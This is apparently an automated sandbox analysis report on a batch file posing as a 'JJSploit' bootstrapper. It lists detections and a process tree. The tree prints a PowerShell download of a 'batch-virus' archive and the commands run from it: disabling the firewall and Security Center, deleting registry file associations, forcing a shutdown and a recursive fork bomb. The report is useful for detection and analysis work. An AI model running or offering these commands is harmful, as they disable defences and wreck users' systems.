a62f52af73df95dfb8482f0658fd396ccce80460a17bbeeabad15afd4757a9c6

Analysis

max time kernel
10s
max time network
26s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
20/09/2024, 02:59

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

JJSploitBootstrapper.bat
Size

992B
MD5

bca8f39baed66bcfcc6aaf4804a7770f
SHA1

198fde86f372a658952ea1a9b18601d8672585d6
SHA256

a62f52af73df95dfb8482f0658fd396ccce80460a17bbeeabad15afd4757a9c6
SHA512

4330793748cfc3ca02dc7258d4c60dd8ab58623ffe90e2704a33544d4625b9a70e9c7ab0f611f29534b69af2bcf7068e9f982615ca997037f0ed5cde0103e972

Score

10^/10

evasion execution persistence privilege_escalation

Malware Config

Signatures

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE is not expected to spawn this process	3260	3868	AppVDllSurrogate64.exe	164
Parent C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE is not expected to spawn this process	8292	3868	AppVDllSurrogate64.exe	164
Parent C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE is not expected to spawn this process	9912	3868	AppVDllSurrogate64.exe	164

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1600	powershell.exe
9	1600	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1600	powershell.exe
3384	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
6080	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
6756	ipconfig.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "91"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3868	WINWORD.EXE
3868	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1600	powershell.exe
1600	powershell.exe
3384	powershell.exe
3384	powershell.exe
3540	tskill.exe
3540	tskill.exe
5412	mspaint.exe
5412	mspaint.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	3384	powershell.exe
Token: SeShutdownPrivilege	5208	shutdown.exe
Token: SeRemoteShutdownPrivilege	5208	shutdown.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
5412	mspaint.exe
5888	LogonUI.exe
3868	WINWORD.EXE
3868	WINWORD.EXE
3868	WINWORD.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3868 wrote to memory of 1600	3868	cmd.exe	83
PID 3868 wrote to memory of 1600	3868	cmd.exe	83
PID 3868 wrote to memory of 3384	3868	cmd.exe	84
PID 3868 wrote to memory of 3384	3868	cmd.exe	84
PID 3868 wrote to memory of 4788	3868	cmd.exe	89
PID 3868 wrote to memory of 4788	3868	cmd.exe	89
PID 3868 wrote to memory of 868	3868	cmd.exe	90
PID 3868 wrote to memory of 868	3868	cmd.exe	90
PID 3868 wrote to memory of 1144	3868	cmd.exe	92
PID 3868 wrote to memory of 1144	3868	cmd.exe	92
PID 3868 wrote to memory of 3212	3868	cmd.exe	94
PID 3868 wrote to memory of 3212	3868	cmd.exe	94
PID 3868 wrote to memory of 1988	3868	cmd.exe	95
PID 3868 wrote to memory of 1988	3868	cmd.exe	95
PID 3868 wrote to memory of 4444	3868	cmd.exe	96
PID 3868 wrote to memory of 4444	3868	cmd.exe	96
PID 3868 wrote to memory of 5052	3868	cmd.exe	97
PID 3868 wrote to memory of 5052	3868	cmd.exe	97
PID 3868 wrote to memory of 4364	3868	cmd.exe	99
PID 3868 wrote to memory of 4364	3868	cmd.exe	99
PID 3868 wrote to memory of 2840	3868	cmd.exe	100
PID 3868 wrote to memory of 2840	3868	cmd.exe	100
PID 3868 wrote to memory of 2156	3868	cmd.exe	101
PID 3868 wrote to memory of 2156	3868	cmd.exe	101
PID 3868 wrote to memory of 2204	3868	cmd.exe	106
PID 3868 wrote to memory of 2204	3868	cmd.exe	106
PID 3868 wrote to memory of 2344	3868	cmd.exe	108
PID 3868 wrote to memory of 2344	3868	cmd.exe	108
PID 3868 wrote to memory of 408	3868	cmd.exe	109
PID 3868 wrote to memory of 408	3868	cmd.exe	109
PID 3868 wrote to memory of 2796	3868	cmd.exe	112
PID 3868 wrote to memory of 2796	3868	cmd.exe	112
PID 3868 wrote to memory of 212	3868	cmd.exe	113
PID 3868 wrote to memory of 212	3868	cmd.exe	113
PID 3868 wrote to memory of 3040	3868	cmd.exe	114
PID 3868 wrote to memory of 3040	3868	cmd.exe	114
PID 3868 wrote to memory of 744	3868	cmd.exe	115
PID 3868 wrote to memory of 744	3868	cmd.exe	115
PID 3868 wrote to memory of 3336	3868	cmd.exe	116
PID 3868 wrote to memory of 3336	3868	cmd.exe	116
PID 3868 wrote to memory of 1252	3868	cmd.exe	117
PID 3868 wrote to memory of 1252	3868	cmd.exe	117
PID 3868 wrote to memory of 2800	3868	cmd.exe	118
PID 3868 wrote to memory of 2800	3868	cmd.exe	118
PID 3868 wrote to memory of 1008	3868	cmd.exe	119
PID 3868 wrote to memory of 1008	3868	cmd.exe	119
PID 3868 wrote to memory of 4512	3868	cmd.exe	120
PID 3868 wrote to memory of 4512	3868	cmd.exe	120
PID 3868 wrote to memory of 2852	3868	cmd.exe	124
PID 3868 wrote to memory of 2852	3868	cmd.exe	124
PID 3868 wrote to memory of 3444	3868	cmd.exe	127
PID 3868 wrote to memory of 3444	3868	cmd.exe	127
PID 3868 wrote to memory of 908	3868	cmd.exe	128
PID 3868 wrote to memory of 908	3868	cmd.exe	128
PID 3868 wrote to memory of 2572	3868	cmd.exe	130
PID 3868 wrote to memory of 2572	3868	cmd.exe	130
PID 3868 wrote to memory of 3232	3868	cmd.exe	131
PID 3868 wrote to memory of 3232	3868	cmd.exe	131
PID 3868 wrote to memory of 3700	3868	cmd.exe	132
PID 3868 wrote to memory of 3700	3868	cmd.exe	132
PID 3868 wrote to memory of 3504	3868	cmd.exe	133
PID 3868 wrote to memory of 3504	3868	cmd.exe	133
PID 3868 wrote to memory of 4972	3868	cmd.exe	134
PID 3868 wrote to memory of 4972	3868	cmd.exe	134

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4368	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\JJSploitBootstrapper.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Invoke-WebRequest -Uri 'https://github.com/SparkScratch-P/batch-virus/archive/refs/heads/main.zip' -OutFile 'repository.zip'"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'repository.zip' -DestinationPath 'repository'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus1.bat"
  2⤵
  PID:4788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus10.bat"
  2⤵
  PID:868
- - C:\Windows\system32\net.exe
    net stop ΓÇ£Security CenterΓÇ¥
    3⤵
    PID:2688
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop ΓÇ£Security CenterΓÇ¥
      4⤵
      PID:1472
- - C:\Windows\system32\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:6080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus11.bat"
  2⤵
  PID:1144
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:376
- - C:\Windows\system32\tskill.exe
    tskill msnmsgr
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3540
- - C:\Windows\system32\tskill.exe
    tskill firefox
    3⤵
    PID:5148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus12.bat"
  2⤵
  PID:3212
- - C:\Windows\system32\shutdown.exe
    shutdown -r -f -t 00
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus13.bat"
  2⤵
  PID:1988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus14.bat"
  2⤵
  PID:4444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus15.bat"
  2⤵
  PID:5052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus16.bat"
  2⤵
  PID:4364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus17.bat"
  2⤵
  PID:2840
- - C:\Windows\system32\reg.exe
    reg delete HKCR/.exe
    3⤵
    PID:5228
- - C:\Windows\system32\reg.exe
    reg delete HKCR/.dll
    3⤵
    PID:5260
- - C:\Windows\system32\reg.exe
    reg delete HKCR/*
    3⤵
    PID:5308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus18.bat"
  2⤵
  PID:2156
- - C:\Windows\system32\attrib.exe
    attrib -r -s -h c:autoexec.bat
    3⤵
    - Views/modifies file attributes
    PID:4368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus19.bat"
  2⤵
  - Checks computer location settings
  PID:2204
- - C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE"
    3⤵
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:3868
  - - C:\Program Files\Microsoft Office\root\Client\AppVDllSurrogate64.exe
      "C:\Program Files\Microsoft Office\root\Client\AppVDllSurrogate64.exe" {0358B920-0AC7-461F-98F4-58E32CD89148} -Embedding
      4⤵
      Process spawned unexpected child process
      PID:3260
  - - C:\Program Files\Microsoft Office\root\Client\AppVDllSurrogate64.exe
      "C:\Program Files\Microsoft Office\root\Client\AppVDllSurrogate64.exe" {0358B920-0AC7-461F-98F4-58E32CD89148} -Embedding
      4⤵
      Process spawned unexpected child process
      PID:8292
  - - C:\Program Files\Microsoft Office\root\Client\AppVDllSurrogate64.exe
      "C:\Program Files\Microsoft Office\root\Client\AppVDllSurrogate64.exe" {0358B920-0AC7-461F-98F4-58E32CD89148} -Embedding
      4⤵
      Process spawned unexpected child process
      PID:9912
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:5412
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:5440
- - C:\Windows\system32\write.exe
    write
    3⤵
    PID:5456
- - C:\Windows\system32\cmd.exe
    cmd
    3⤵
    PID:5468
- - C:\Windows\explorer.exe
    explorer
    3⤵
    PID:5476
- - C:\Windows\system32\control.exe
    control
    3⤵
    PID:5484
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:5500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus2.bat"
  2⤵
  PID:2344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus20.bat"
  2⤵
  PID:408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus21.bat"
  2⤵
  PID:2796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus22.bat"
  2⤵
  PID:212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus23.bat"
  2⤵
  PID:3040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus24.bat"
  2⤵
  PID:744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus25.bat"
  2⤵
  PID:3336
- - C:\Windows\system32\net.exe
    net send * WORKGROUP ENABLED
    3⤵
    PID:5388
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 send * WORKGROUP ENABLED
      4⤵
      PID:6020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus26.bat"
  2⤵
  PID:1252
- - C:\Windows\system32\net.exe
    net send * WORKGROUP ENABLED
    3⤵
    PID:5132
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 send * WORKGROUP ENABLED
      4⤵
      PID:5252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus27.bat"
  2⤵
  PID:2800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus28.bat"
  2⤵
  PID:1008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus29.bat"
  2⤵
  PID:4512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus3.bat"
  2⤵
  PID:2852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus30.bat"
  2⤵
  PID:3444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
    3⤵
    PID:2196
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
      4⤵
      PID:5348
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        5⤵
        
        PID:5568
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        5⤵
        
        PID:5584
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        6⤵
        
        PID:5860
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        7⤵
        
        PID:6252
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:6792
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:5668
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:3872
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:8516
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:12292
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:12300
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:16112
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:8888
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:13340
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:14300
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:4608
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:7572
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:11280
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:15640
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:16684
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:12080
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:7580
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:11272
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:15864
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:17112
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:12088
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:2460
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:6340
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:708
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:9748
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:15612
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:10156
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:15532
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:4076
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:9900
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:9360
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:13792
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:10536
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:15804
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:6292
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:2708
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:7372
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:8920
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:11856
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:12960
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:9568
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:12452
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:12460
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:7388
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:11236
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:5160
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:11712
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:3416
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:9724
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:15876
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:6732
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:10112
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:15672
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:15500
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:6800
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:3560
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:6436
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:3600
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:10044
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:15652
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:16740
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:10624
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:15692
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:8348
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:4788
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:7412
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:9104
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:16028
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:16376
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:9832
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:15288
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:16272
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:7420
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:11244
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:11760
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:3156
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:6464
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:7428
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:11252
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:11768
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:7436
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:11260
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:11784
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:17332
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:5252
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:6364
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:5396
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:2956
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:7964
        
        C:\Windows\system32\cmd.exe
        
